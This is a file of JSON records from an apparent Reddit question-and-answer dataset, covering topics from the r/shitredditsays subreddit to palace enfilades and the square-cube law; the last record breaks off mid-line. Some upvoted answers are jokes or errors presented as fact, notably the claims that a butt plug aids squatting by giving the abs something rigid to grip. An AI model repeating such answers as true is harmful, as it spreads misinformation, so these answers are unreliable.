{"q_id": "nz2ic", "title": "r/shitredditsays", "selftext": "Some basic questions about the subreddit [/r/shitredditsays](/r/shitredditsays).\n\n* Why was it created?\n\n* What is the purpose or goal of it?\n\n* Why does it catch so much flak from reddit comments?\n\n* Obviously this one would probably vary between members, but any open question to any of them that browse here as well; Why are you subscribed to it? \n\nAnd really anything else anyone cares to add to their description of it. \n\n\nTried to leave as much of my own bias out of these questions as possible.\n\nEdit: I guess \"**No bias.**\" was too much to ask. Kind of makes sense considering the subject matter can't be completely factual. \n\n[](/scootaloo\"Stealth pony.\")", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/nz2ic/elif_rshitredditsays/", "answers": {"a_id": ["c3d2jon", "c3d2lkc", "c3d2swh", "c3d2t9l", "c3d2wgr", "c3d5zc4", "c3d7lvg", "c3fatur"], "score": [24, 62, 29, 15, 73, 44, 28, 3], "text": ["It was created to be a collection of horrible things that redditors say. The hope is that it will eventually teach people to stop validating bad statements, but when it comes down to it it's just a place to laugh at the people who do.\n\nIt catches a lot of flak because the shitty opinions that get called out aren't that unpopular among redditors. Ironically, people tend to take offense when told they're being offensive.", "Full disclosure: I'm a liberal straight white male who has been subscribed to r/SRS for a few months.  I don't understand the more circle-jerky aspects of it (couldn't tell you who any of the mods or personalities are) but I'm definitely in favor of what they do.\n\nAs far as I know/am aware, SRS is sort of a self-policing of a kind.  Because Reddit as a whole is dominated by one group (mostly straight single white males), often the comments and culture of the community leave behind or otherwise diminish women, minorities, etc.  In my mind, the point of SRS is to provide a counter-narrative to the accepted opinions of \"the reddit hivemind\".  \n\nIt gets a lot of \"flak\" from comments because honestly, people don't like having their privilege challenged.  These users may not really understand their privilege, or how their experiences are different from those of others.\n\nI'm subscribed to it because I believe it's important in the age of internet anonymity it's a lot harder to hold people responsible for heinous shit that they say.  Some might argue \"it's only a joke, like on top gear!\" but the latent racism and misogyny that exists in this community needs to be called out whenever possible.  \n\nTL;DR- I fucking LOVE SRS and if you don't understand it's purpose, you might be part of the problem.", "Because reddit is full of terrible people (white men) who get hilariously whiny and hypocritical when you criticize things they say (because free speech only applies to white men, and criticism = censorship apparently) or make jokes at their expense the same way they do to others to the point where a subreddit provoking such a reaction is easily the most entertaining thing on the entire website.", "Something that also might help with particular issues: [/r/SRSDiscussion](/r/SRSDiscussion).\n", " ShitRedditSays is (or was, it seems to have been cut off recently) a subreddit designed to point out bigoted or hurtful statements that reddit has chosen to upvote.\n\nThe subreddit is designed to draw attention to those posts (for parody or whatnot). \n\nIn practice,  the subreddit suffers from a lot of bias, people with persecution complex or persecution complex by proxy.  It's very hostile to the \"majority\" demographic, so you see a lot of bias or unkind statements directed at the white college age male demographic.\n\nPeople are not fond of it because they feel that the subreddit is designed to censor (like a downvote brigade, although in practise you see more harassment than downvotes), they feel as though the members are unnecessarily hostile to the majority demographic, and they feel that the members of the subreddit are overly sensitive and have no sense of humour.\n\nThis is exacerbated by the presence of trolls and Poe's law.  In the same way that redditors might upvote tasteless off colour humour, SRS members will upvote misandrist or bigoted statements against reddit in general. \n\nSo people tend to have strong opinions of the subreddit.", "SRS was created to showcase racist, sexist, and other bigoted comments that are made on Reddit, even ones that are \"just jokes\". The idea is that even jokes are bad, because they serve to normalize actual oppression. (please, I do not want to debate this notion in ELI5). Comments are linked and made fun of. The purpose is to provide a place for people to laugh and mock comments they don't like. There is, and never has been any great goal to improve or fix Reddit.\n\nIt gets flak because a lot of redditors do not appreciate being criticized for what they see as jokes. A popular misconception on this website seems to be that free speech means speech without consequences, and feel like a community that criticizes the things they say is an attempt to silence them. \n\nI subscribe to SRS because I like laughing at and making fun of terrible content. It is a fun way to waste time.", "It's Bizarro World where the Reddit majority is treated like a minority. Everything follows from that.", "You should read the new [SRSFAQ](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], ["http://www.reddit.com/r/ShitRedditSays/comments/o0pdv/meta_srs_faq/"]]}
{"q_id": "a4mfva", "title": "The game company Nintendo was founded in 1889 as a playing card company. What was Nintendo doing during WWII?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/a4mfva/the_game_company_nintendo_was_founded_in_1889_as/", "answers": {"a_id": ["ebgtaux"], "score": [344], "text": ["u/keyilan gave an answer to a similar question about three years ago.\n_URL_0_\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/3v3b21/what_effect_did_world_war_2_have_on_nintendo/"]]}
{"q_id": "1g09ci", "title": "what's the difference between market socialism and state capitalism?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1g09ci/eli5_whats_the_difference_between_market/", "answers": {"a_id": ["cafj9oz"], "score": [2], "text": ["market socialism is basically when corporations are publicly owned, and the revenues can be used as a source of public finance, and state capitalism is when means of production are privately managed, but the state has a lot of control of it's investment. hope that helps. racking my brain from AP government. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8rtlky", "title": "why do sounds like the letter \"s\", \"ts\" and drums/cymbals sound extra static-y on the radio, even on clear stations?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8rtlky/eli5_why_do_sounds_like_the_letter_s_ts_and/", "answers": {"a_id": ["e0u3ocs", "e0u3py1", "e0ukrx4"], "score": [26, 4, 2], "text": ["They contain high-frequency components. Radio stations use 10-15 KHz audio bandwith.  This is quite sufficient to transmit low and midrange sounds, and even most \"high\" frequency pitches that humans can perceive.  But some sounds contain high frequency components in the 15-20 KHz range, and radio transmitters/receivers are simply not made to handle them well (or at all). ", "Can't speak for normal radio, but if you're talking about XM-Sirius Radio, it's because they are data compressed. XM-Sirius uses digital signals to send the audio to your car. They only have a certain amount of signal bandwidth to use and this has to get split up between all their channels. In order to have a higher number of channels, they use a smaller bandwidth per channel. The amount of bandwidth they use is not enough to send the audio in its normal quality. They have to re-encode it a lower quality in order to make it fit in the bandwidth for each channel. ", "Its the equalization and compression they put the signal through. They get rid of some of the really low and really high pitches in the equalization because they're less important. Then they compress it, making the loud sounds quieter and the quiet sounds louder. These steps help to get the most sound out of a weak signal. The cymbols make sounds that are both high pitched and loud, so both the eq and compression remove part of the sound. The \"s\" sound you asked about may be a different effect, created by bad microphone placement. Essentially it's the sound of the person blowing air into the mic. When you're recording something with a sound engineer they'll listen for this, move the mic to fix this, and record again, but you don't have that opportunity live. The eq and compression probably make this even more noticeable "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2vausj", "title": "Why do formulas in computer science always have tons of logs in them?", "selftext": "I feel like every time I see a formula describing something in computer science it has something like logloglog(x/y) or something like that in it. Why are logarithms so prevalent in these equations?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2vausj/why_do_formulas_in_computer_science_always_have/", "answers": {"a_id": ["cog5qyb", "cog69z2", "cog6fb6", "cogr4i2", "cohrhl0"], "score": [3, 28, 9, 2, 2], "text": ["Many algorithms take advantage of [divide and conquer](_URL_1_), which generally makes the [Big-O](_URL_0_) of that algorithm contain a logarithm. ", "There are two big sources of logarithms in CS. The first is binary representation: The (base-2) logarithm of N is the number of bits you need to encode N in binary. The second in binary trees: The depth of a (balanced) binary tree is the logarithm of the number of elements. Those two concepts are pretty ubiquitous across the subject.", "When describing \"formulas\", I assume you mean something like [Big O notation](_URL_1_). Typically, when a computer scientist uses log, they mean log with a base of 2. (When I was in school I would often see professors write *lg* to differentiate log base 2 from log base 10 and log base e, the natural log, i.e. ln).\n\nSo why does log base 2 come up so often? Because a lot of problems in computer science can be solved through the use of [trees](_URL_0_) and trees with two children are especially common. So for many algorithms which operate on a tree their performance is governed by the height of the tree, which is defined as the longest path from any leaf node (a node with no children) to the root (the node with no parents).\n\nSo assume you have a well balanced binary tree of height *h*, how many nodes, *n*, are in it? Well, each parent would have 2 children, which themselves would have 2 children, which themselves would have 2 children, etc. that's a classic exponential and you get: `n = 2^h`. But what if you know *n* and want to know *h*? Just solve for *h* and you get: `h = log\u2082(n)`.\n\nThis also pops up in recursive algorithms like a [binary search](_URL_2_) where during each iteration of the algorithm you're halving the number of elements you consider. log\u2082(n) naturally spits out of that as well.\n\n", "A common approach to solving a problem is to split it into two halves of equal size, and then focus on solving those smaller problems. You may have heard of \"divide  &  conquer\" ... log(n) is the number of times you need to divide a problem of size n into halves before getting down to a problem of size 1. That explains many occurrences of logs in an algorithm's running time. \n\nAs for more exotic things like loglog(x) and friends, they appear for more complicated reasons. It's hard to give a generic answer on this, as it really depends on the problem  &  solution approach.", "A lot of algorithms for doing certain things tend to involve splitting a list/array/collection/set of elements into multiple parts over and over. Say, you have a list of numbers that you want to put in order (sort). You first cut the list in half, creating two lists. Then you cut those two lists in half, creating four lists. Then it's eight lists, 16, 32, etc. etc. until you have only single-element lists left. The number of times you had to perform a series of splits is proportional to the base-2 logarithm of n. This isn't the entire sort (it's called [merge sort](_URL_0_) if you want to read further) but this is where the logarithms come from. \n\nSome problems are just complicated so they tend to have a lot of log terms piled up in the notation. The best bound we have right now for prime decomposition has a few log log n terms raised to the 1/2 power if I remember correctly."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Big_O_notation", "http://en.wikipedia.org/wiki/Divide_and_conquer_algorithms"], [], ["https://en.wikipedia.org/wiki/Tree_%28data_structure%29", "https://en.wikipedia.org/wiki/Big_O_notation", "https://en.wikipedia.org/wiki/Binary_search_algorithm"], [], ["http://en.wikipedia.org/wiki/Merge_sort"]]}
{"q_id": "asd8nf", "title": "Why did so many old palaces not use hallways in private rooms?", "selftext": "This seems like a common feature when looking at the design of old palaces. Instead of having a hallway with doors leading to each separate room, the rooms themselves are the hallway and each room just opens into the next one.\n\nIt's like that at Hampton Court Palace and Versailles. But, I'm certain there are more. We know they understood the concept of a hallway, because others parts of those palaces do use them. \n\nI would have figured rulers commissioning such palaces would have had a care for their own privacy and comfort. Instead, they designed their palaces in such a way that their servants and guests would have to pass through private and possibly occupied rooms just to move about and fulfill their duties.\n\nIs there any particular reason for this design feature?\n\nExample: _URL_0_\n", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/asd8nf/why_did_so_many_old_palaces_not_use_hallways_in/", "answers": {"a_id": ["eguk07n"], "score": [102], "text": ["The concept of palace is different than most people would think. This is the cause of many of today's mansions, which attempt to emulate palaces becoming full of silly and redundant rooms (ie, Aaron spelling house has a Christmas present wrapping room...) Or are like 15 bedrooms and 30 bath when they will never have like more than 5 people ever stay in the house. \n\nWhy is that? \n\nOur concept of what a house is mixed with the very different concept of a palace. \n\nIt would be like having a private home be made to resemble an airport. And you might ask why an airport is all hallway and no other room types. \n\nSo let's start with what palaces are:\n\nThey are government buildings first and foremost. Not houses. \n\nSecond, in the era they were built (ie post fortification) construction and architecture were the primary ways to display power and wealth. \nThe very existence of these rooms weren't a function beyond being big and beautiful. \n\nThese rooms are known as state rooms. \n\nThey are large rooms that are very nice and overwhelming to visitors. They can be used for things like balls or dinners, but they are first and foremost simply fantastic. Think the Jordan stairs at the winter palace or the great Hall of mirror at Versailles. \n\nAnd these room types take up the overwhelming majority of the footprint of these palaces. \nThese aren't rooms where people \"live\". \n\nSo, about living...within these palaces there are \"apartments\" where royalty would live. Just like an apartment within some larger complex.  These apartments are grand, but are on a more normal scale of homes for people. And within them, you would find more normal amenities, modern design and conveniences etc. \n\nIn fact, palaces were so busy and formal, that most monarchs had secondary palaces to live in. Think the grand trianon by Versailles, and the ppetit trianon near the grand trianon not!!.\n\nAndt to the winter palace and the Summer palace of Peter the great. \n\nEven Buckingham palace is the side residence to the \"actual\" Royal palace, tye palace of St. James. Which was the side palace to the now gone Whitehall. \n\nAnyways, on to hallways. \n\nThe style of room layout you are referring to is called enfilade. \n\nEnfilades are primarily a baroque thing. They allow the awesomeness of the rooms to be beheld. Without going through the dissapointing ardour of a hallway, wich is a service type of room (all rooms in the world are either servant rooms or served rooms), not a room in it of itself. \n\nAnd so, with this in mind, you want your visitors to go from one splendid room to the next, each more glorious than the next, and so each room needs to be traversed individually. Nothing skipped. \n\nAnd so, each room is progressively more grand and awesome, each representing to the visitor how much they are valued (the more important, the further in you're allowed), often culminating in the throne room at the end. \n\nSo this is why no hallways: it's beneath the palace. And to serve the purpose of overwhelming visitors, you want them to go from room to room, not skipping rooms with a hallway. \n\nBesides, palaces are very skinny (usually some squarish/rectangle/U shape with a large Central courtyard), so there are only one max two rooms per space in a palace. So a hallway would be without windows, which would be dank in an era before electricity. Better simply have a grand room and call it a Hall, and not a hallway.  \n"]}, "title_urls": [], "selftext_urls": ["https://www.google.com/maps/@48.8043945,2.1201748,2a,75y,116.71h,90.11t/data=!3m6!1e1!3m4!1sjv39EmIQA-E5IwyJ12_cqw!2e0!7i13312!8i6656"], "answers_urls": [[]]}
{"q_id": "1tf9an", "title": "if you're about to be stabbed/shot in the leg, is it better to tense your muscles or relax?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1tf9an/if_youre_about_to_be_stabbedshot_in_the_leg_is_it/", "answers": {"a_id": ["ce7bvuv", "ce7bxy0", "ce7gtub", "ce7h0e1"], "score": [30, 12, 13, 2], "text": ["It's better to relax, as less muscle fibres will get damaged that way. Although the difference will be minute, at best. ", "I'm not sure you can make that choice honestly, as under stress you tense up anyway. But assuming you can, of course being loose is better. Just think of it as slicing a stick of macaroni: if it's hard it breaks off easily, but if it's limp you have more of a chance of it sliding on the knife than tearing. However, in the end you will still have a nasty hole in your leg.", "OP needs this answer quite quickly..", "what about after the wound is inflicted, is it better to relax or to tense up?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3ynfkj", "title": "the rumbling sound just before an earthquake.", "selftext": "I've noticed in Oklahoma with the recent earthquakes that there always seems to be a rumbling sound a second or two before an earthquake is actually felt. Why is this, and where is the sound originating from (e.g. directly below, traveling underground from the source, above ground from the source, etc.)", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3ynfkj/eli5_the_rumbling_sound_just_before_an_earthquake/", "answers": {"a_id": ["cyhz7i5", "cyewc91"], "score": [2, 2], "text": ["Earthquakes actually generate two types of motion -P-waves and S-waves. P-waves move much faster, but are all bark and no bite. S-waves follow a couple of seconds later, and are what actually does the damage. \n\nThe difference between the two is the basis for earthquake warning systems like in Japan, by the way. \n\nSource: growing up in Alaska, interest in Japanese technology", "The vibrations start small and get larger, wherever you are.\n\nSmall= sound [rumble]\n\nLarger = ground moving."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "etsmrd", "title": "How connected were the french and english nobility and politics after 1066", "selftext": "It's a known fact that William The Conqeuror was both a english king and a french noble but what I don't know was how interconnected this made them. William had to bow down for the french king but did his power apply in England? Did the french see England as a vassal, as an indepedent power or as another part of France? Were the english nobility automatically connected to the french nobility or a separate dynasty?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/etsmrd/how_connected_were_the_french_and_english/", "answers": {"a_id": ["ffjlfz6"], "score": [3], "text": ["Hello there ! \n\nI'll try my best to answer your question. One quick word, first. The conquest of 1066 altered the relations between France and England on various degree, and those relations and the impact of the French origin of the English kings had a variable impact upons said relations.\n\nMy period of choice is aound the XIVth - XVth century (namely, the Hundred Years War), and therefore I'll keep my answer to this period and avoid adventuring out of it, in order not to say things I only think are true. Now let's begin with this.\n\n & #x200B;\n\nFirst of all, a little context on medieval politics. One must keep in mind that the great nation-states of England and France did not exist at the time. At most, one could witness the existence of the Kingdom of France and of the Kingdom of England. Yet people would not necessarily identify themselves as \"French\" or \"English\", but rather as \"Poitevin\", \"Boourguignon\", \"Flemish\", ... Things were much less \"absolute\" than what we are used to.\n\nSecondly, nothing prevented a noble from owning land in more than one kingdom. He then owed his allegiance to separate kings, yet only for the territories that were under their respective dominions. For instance, the dukes of Burgundy possessed both the Comt\u00e9 de Bourgogne and the Duch\u00e9 de Bourgogne. The first one was part of the Holy Roman Empire, the second was in the Kingdom of France. Therefore, the dukes of Burgundy owed military service, etc. to the king of France for their Duch\u00e9 de Bourgogne, and ower the same to the Emperor for their Comt\u00e9. Nothing prevented one nonble to owe land in more than one kingdom. That is a key point.\n\nNow, of course, such a possibility came with interrogations. What if, for exemple, the king of France waged war on the Emperor ? Tough question for the dukes of Burgundy to decide, for they would likely be called by both sides and expected to take part in the war. There was no absolute rule, once again, and diplomacy would have been essential in such an occasion. (Yet, sorry to kill the suspense, but the XIVth century Dukes of Burgundy were brothers, uncles, cousins or nephews of the king of France, and would likely have chose his side).\n\n & #x200B;\n\nNow let's come back to the main question. \n\nSInce we will be talking about XIVth XVth century, I'd like to point out that the duchy of Normandy was lost by the kings of England in 1200-1204. We will talk about that later on, but keep it in mind.\n\nA duchy that has quite a similar situation, though, is the Duchy of Guyenne (or Aquitaine). Its borders evolved a lot during the war and were a constant point of conflict, so in order to simplify let's assume it corresponds to the southwestern quarter of France.\n\nAt the beginning of the Hundred Years War (around 1337-1340), the king of England is Edward III. Edward III is also duke of Aquitaine. He's in a quite similar situation to what the previous English kings would have been, if you replace Normandy by Aquitaine, of course.\n\nWhat happened is just what would have happened to any noble owning lands in more than one kingdom. He had to pay hommage to his liege for his lands. Therefore he had to pay hommage for the duchy of Aquitaine, which he reluctantly did in 1329. He was not to pay any tribute for his English possessions, on which the king of France had no right. He was, at the same time, both and equal and a vassal to the king of France. Yet, only the English king was a vassal to the French king, and English people and nobles had nothing to do with the French king (except, of course, for English noble that also had lands in France).\n\nSo to answer your main questions : the French saw England as a completely autonomous kingdom, in no way related to theirs (I mean legally, trade, culture and exchanges were very important of course). They were certainly not a part of France, nor its vassal.\n\n & #x200B;\n\nNow, obviously, that lead to a number of problems, the biggest being the Hundred Years War itself. Do you remember when we briefly evoked the loss of Normandy by the English kings ? Well, Edward certainly did.\n\nIn 1200, king of England John was deprived from his authority on Normandy by the king of France Philippe II. Philippe confiscated the Normandy to his vassal, as was his right as his liege (of course, that wasn't possible without a serious cause and case, and that was settled in sieges and battles). \n\nNow add to that precedent the humiliation that Edward III could feel in being forced to kneel, to swear a solemn oath and to be receveid as a vassal. Even worth, Edward III was the grandson of late Philippe le Bel, king of France, while the king of France, Philippe of Valois, is only a cousin... (and that's a whole other story that I could tell if you're interested, but it would need its own question).\n\nEventually, the inevitable occurs. Philippe de Valois confiscates the duchy of Aquitaine on the pretext of Edward harbouring a rebel and enemy of France, Robert d'Artois. Edward answers by claiming the thone of France in regards to his better claim to the title (which is at the time highly debated, but that would be covered by the dynastic crisis question we evoked a bit earlier).\n\n & #x200B;\n\nTo answer you last question, French and English dynasty were not automatically linked, because William/Guillaume was not connected to the French royal dynasty at the time. Yet, obviously, there was a number of royal marriages (and matrimonial crisis) between the neighbouring kingdoms. One of the led to the duchy of Aquitaine becoming a property of English kings (although still in the kingdom of France). Another one led to the succession crisis that started the Hundred Years War, that I mentionned.\n\n & #x200B;\n\nI hope I answered everything, feel free to throw additionnal questions and I'll make sure to cath them (or die trying !). \n\nPS : I hope I made myself clear, yet the matter can be a bit complex, everyone has the same name and titles, etc. Therefore, if I wasn't, feel free to point out to me the part you did not understand / I failed to explain."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "348c0y", "title": "What has been/will be the eventual fate of all our space probes?", "selftext": "This includes probes both in space or on planets/moons themselves.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/348c0y/what_has_beenwill_be_the_eventual_fate_of_all_our/", "answers": {"a_id": ["cqs9q93"], "score": [82], "text": ["Either they will collide with a celestial object or they will evaporate.\n\nProbes in orbits around other planets are, wherever possible, deliberately crashed at end of life. We just did this to the MESSENGER probe at Mercury.\n\nThis has the dual benefit of only contaminating the planets we want contaminated, and gives us some extra science - we can learn from the composition of the stuff it kicks up at impact.\n\nInterstellar probes (Pioneers and Voyagers) will either enter another system and collide with something, or over a period of trillions of years, will evaporate.\n\nThere are lots of high-energy (ultraviolet and higher) photons in space. Occasionally one of these will knock an entire atom off a spacecraft. In the very, very long timescale this will evaporate the spacecraft.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1kqbil", "title": "why are cosmetic/beauty/food products allowed to use photoshop in advertisements without including a disclaimer?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1kqbil/eli5_why_are_cosmeticbeautyfood_products_allowed/", "answers": {"a_id": ["cbrj1a5"], "score": [2], "text": ["Because there's no law saying they need to.\n\nBut, in a practical sense, it gets tricky to say how much enhancement is allowed.  You don't want them to use the airbrush tool in photoshop but what if they use a literal airbrush on the product?  What if they use a more expensive camera and more skillful lighting?  Are they allowed to use photoshop to sharpen the focus or resize the image to fit on a coupon?  It's a hard thing to define."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "asq480", "title": "how the hell does using a butt plug help with lifting (ie. squatting)?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/asq480/eli5_how_the_hell_does_using_a_butt_plug_help/", "answers": {"a_id": ["egvx46v", "egvy8op", "egwacre", "egwfk5d", "egxc1y2"], "score": [9, 176, 56, 40, 2], "text": ["It keeps the poop in you?", "Pretty sure someone at the gym is playing a prank on you. But you should try it and see if your numbers go up. Report back. Be specific, like how big a plug you're using. No pictures though. Thanks.", "It activates the posterior chain through stimulation of the prostate. It gives you more power coming out of the hole. I recommend one at least 12 inches long, as this is helps keep your body upright under load.", "Just to be clear - it doesn't help unless your feet are on the ground (IE, it doesn't help if you're benching or using a machine).\n\nWhen you're doing any lifting with your feet on the ground (IE, squats, dead lifting) you naturally use your abdominal muscles to help brace and straighten your back.  The problem with this comes in how muscles *normally* work - muscles normally work by \"gripping\" a bone and using the bone for structural support.  Your abs don't have a bone to grip against, so they just tense up to try and become as rigid as possible.  \n\nThis ends up putting a tremendous amount of pressure on your intestines.  I'm sure you've heard stories about people suffering a rectal prolapse when lifting?  That's why, the weight ends up getting transferred through the abs to the intestines and at some point the pelvic floor just gives way, causing the prolapse.  \n\nBut even if you don't prolapse, the mere \"lifting\" action that you're doing with your abs is mostly just wasted work - your abs just don't have anything to grip against to turn that effort into useful work.\n\nThe buttplug acts as a rigid object that your abs can grip, functioning as a sort of bone that helps to provide stability, increasing your lifting power.  ", "I've heard of people getting an anal prolapse from squatting heavy. I guess a butt plug could help prevent that. But it's probably unnecessary. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "6z2a9h", "title": "why does the square cube law stop giant animals from existing?", "selftext": "I was raised the question after reading [this](_URL_0_) eli5, so I looked what what the square cube law was and found myself with the above question. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6z2a9h/eli5_why_does_the_square_cube_law_stop_giant/", "answers": {"a_id": ["dmrwvni", "dms0jhi", "dms4anc", "dms59lk", "dms5uep", "dmsgvcv", "dmtcm28"], "score": [160, 34, 2, 2, 6, 2, 2], "text": ["The basic jist of it is size grows at a a rate of to the power of 2 and volume (and therefore mass) grows at a rate of to the power of 3, so weight quickly outpaces size. A six foot tall person, for example would weigh something like 180 lbs normally. A 9 foot talk person would easily be in the thousand lb range of properly proportioned. A 50% increase in height leads to a way more than 50% increase in weight and that's not sustainable because bone can only be so strong. At some point, the weight would be too much to carry.", "Somewhat counterintuitively, as an object gets bigger, its properties don't all get bigger at the same rate.  10 feet is twice as long as 5 feet, but a 10x10 square is four times as big as 5x5, and and 10x10x10 cube is eight times as big.\n\nThe weight of an object is determined by its volume, but strength is determined by area, the thickness of the objects cross section.  So if you take a bone or a steel beam, and double its size, it will become twice as long, four times as strong, but eight times as heavy.  Weight, in this case, increases twice as much as strength, so eventually you get to a point where the weight can no longer be supported.\n\nAnd isn't just a matter of strength.  Blood vessels, digestive tracts, airways, they are all limited by the area of the cross section but must supply a volume.  All these systems start to break down as size increases.", "I highly recommend reading the short essay on by Haldane, written in 1928 (although still extremely insightful), on being the right size. [See here](_URL_0_). In short, there are a lot of biological processes that make it difficult to be giant (like giraffes having to pump their blood up their long necks).", "The strength of an animal is generally a function of area (the surface area of a muscle or bone), not volume. Weight is a function of volume. Since area increases exponentially slower than volume, hence the \"square-cube\" name, muscles and bones can't \"catch up\" to support the weight of giant organisms if the proportions would have to be the same: if you double the size/height while keeping the same shape you end up with four times the muscle power moving eight times the mass. \n\nThe bigger the increase the, worse the problem. Make something 3 times bigger and you have 9 times the muscle power moving *27 times* the weight. \n\n", "A really cool side to this is the cellular level. The way that a cell channels energy into a usable form is by pumping ions across a membrane. A membrane is the surface area of the cell and is proportional to x squared. It's also common to see many infoldings of the membrane (similar to cilia) to increase surface area. Despite these infoldings, the volume of a cell, which is proportional to X cubed, increases much faster than X squared. Basically the exact same concept as considering giant mammals, but on a tiny scale.\n\nThe reason cells like ours, which are much bigger than bacteria, can exist is because we have mitochondria, lots of tiny little membrane pockets that do the membrane pumping thing on their own. There's storing evidence to suggest that mitochondria are actually descended from a primitive bacteria themselves. If our cells need to get bigger, we can just increase the number of mitochondria in them (which is relatively simple; muscles and liver cells have high energy demands and therefore have many mitochondria in them).\n\nBacteria can't expand their membrane area any way other than just growing, but increasing their volume increases their energy demands even more. It's like if you were thirsty and you needed to run through a hot desert to get a small amount of water; you'll make yourself thirstier by running, it might not even be worth it to go get the water at all.", "The square cube law does sometimes work to favor large animals.  Heat dissipation is a function of surface area, proportional to the square of linear dimension, while heat generated is a function of total tissue mass, which varies more or less as the cube of linear dimension.  This means large animals retain heat better.  In cold climates you tend to see a disproportionate number of large animals, like walruses and polar bears, for this reason.", "This topic is **amazingly interesting**. It has to do with scale, efficiency, and** an extra dimension**\n\nAnother poster did a great job of answering your question directly, so I thought I'd expand on the subject. \n\nYes, the square cubed law shows how some features of the animal grow in 3 dimensions but did you know we can predict an animal's lifespan based on the specie's weight?\n\nLifespan will scale to WEIGHT^(1/4). That's the one-quarter power. Remember that (1/4) power for later. It's not just lifespan but you can use weight to predict:\n\n- metabolism (how many calories the animal needs per day)\n- resting heat rate\n- brain size compared to intelligence\n- required oxygen\n- number of offspring over lifespan\n\nAll for the average animal of that given size. \n\nBut it isn't only true of animals. It works for trees. It's true of similar features of organizations like ant colonies or publicly traded corporations. It even true of cities. The pace of life is faster in larger cities and you can predict by how much and the lifespan of a company based on size of organization. They are both exponential on average. \n\n## So... **why does this happen**?\n\nWhat's common between mice, elephants, humans, trees, and even cities to some degree?\n\nThey all need resources delivered to every part of their structure. \nAs mass scales up, you have to deliver blood (oxygen and nutrients) to every single cell in the body. Once you have a **cardiovascular system**, you have a branching series of tubes that have to go to every single cell, the same way that every road has to be able to deliver a piece of mail to every single address. Each road (including driveways) has to meet or end in a house. This is basically a fractal - a repeating self-similar structure that looks the same at every scale (like the branches of a tree). \n\nAs animals scale up, this structure gets more efficient. There is a 25% savings that you get with scale (1/4 power). Highways can go faster than local roads and the more highways you can build the better you are at delivering things. \n\nThis 4 from the 1/4 power is better described as 3+1. 3 for the three spatial dimensions we scale in and 1 for the fractal nature of the structure. \nAnimals scale in 3-Dimensions and the fractal nature of our cardiovascular system scales in 4. We end up with a 1/4 extra bonus efficiency at scale. \n\n## Extra dimensions\n\n**Wait what? 4 dimensions?** Yeah *sort of*... This is gonna get deep. Fractals are *weird*. They sort behave as if they add an extra dimension, mathematically. \n\nThe best way I can help you to understand this is with coastlines and weird questions about 4D spheres. \n\nWhat is the length of the coastline of Iceland? Which country in Europe has the largest coastline? These seem like questions with straightforward answers but for centuries, mapmakers got different answers and couldn't explain why. The issue is that coastlines are fractals and asking about there length is asking a 1D question (length) about something that behaves as though it has an extra dimension. \n\nImagine a sphere. Now let's ask a question that makes sense about a sphere what's the volume? What's the surface area? We can find formulas to answer these questions. \n\nNow let's ask a question that doesn't seem like it makes sense about a sphere. What is the **total area of the interior?** this doesn't seem like it makes sense because there can't be an area of a three-dimensional object could there?\n\nIf we imagine the sphere as a infinite series of two dimensional circles in three-dimensional space, in other words, as slices of a sphere sitting on top of each other, then we can say what the area of each of these slices and add them together.\n\nSince there's an infinite number of these circles the surface area is infinite. Sometimes when you ask a question that applies to an object of a higher number of Dimensions you end up with infinity as the answer. Area is a 2-D question and I asked about a 3D shape, so I got infinity. \n\nWhat if I told you that there was a real two dimensional shape that can be no wider than a quarter but has an infinite perimeter? The [Koch snowflake](_URL_0_) is a fractal that can be defined so that the perimeter is infinite, just as if we were asking a 1D question about a property of a 2D object. \n\nThis is very similar to the discovery of the coastline problem in map making. Depending on how small you let your smallest measurement be, the coastline gets longer. \n\nThe branching nature of our cardiovascular system is similar. It isn't infinite but it is almost like an extra dimension. Even though we're only a couple of metres tall, our cardiovascular system has a surface area larger than a tennis court. **We're bigger on the inside. **\n\n\n## Where *is* the Extra Dimension?\n**it is a what not a where **\nSome dimensions are *where* dimensions like left, right, up and down. Some are what dimensions like pressure, time (sort of) or volume. The thing being increased in a fractal is information over scale. In order to define a fractal, I need to cheat. The information for the fractal isn't stored in the shape, it is in the definition. I need to give you an algorithm. And the shape actually changes depending on the resolution that you choose to measure it. If you change the scale or resolution, you change the shape because the shape is defined *in terms* or its resolution or scale. \n\n\n"]}, "title_urls": [], "selftext_urls": ["https://www.reddit.com/r/explainlikeimfive/comments/6z223j/eli5_if_giant_animals_cant_exist_due_to_the/?st=J7DGRCG7&amp;sh=61664473"], "answers_urls": [[], [], 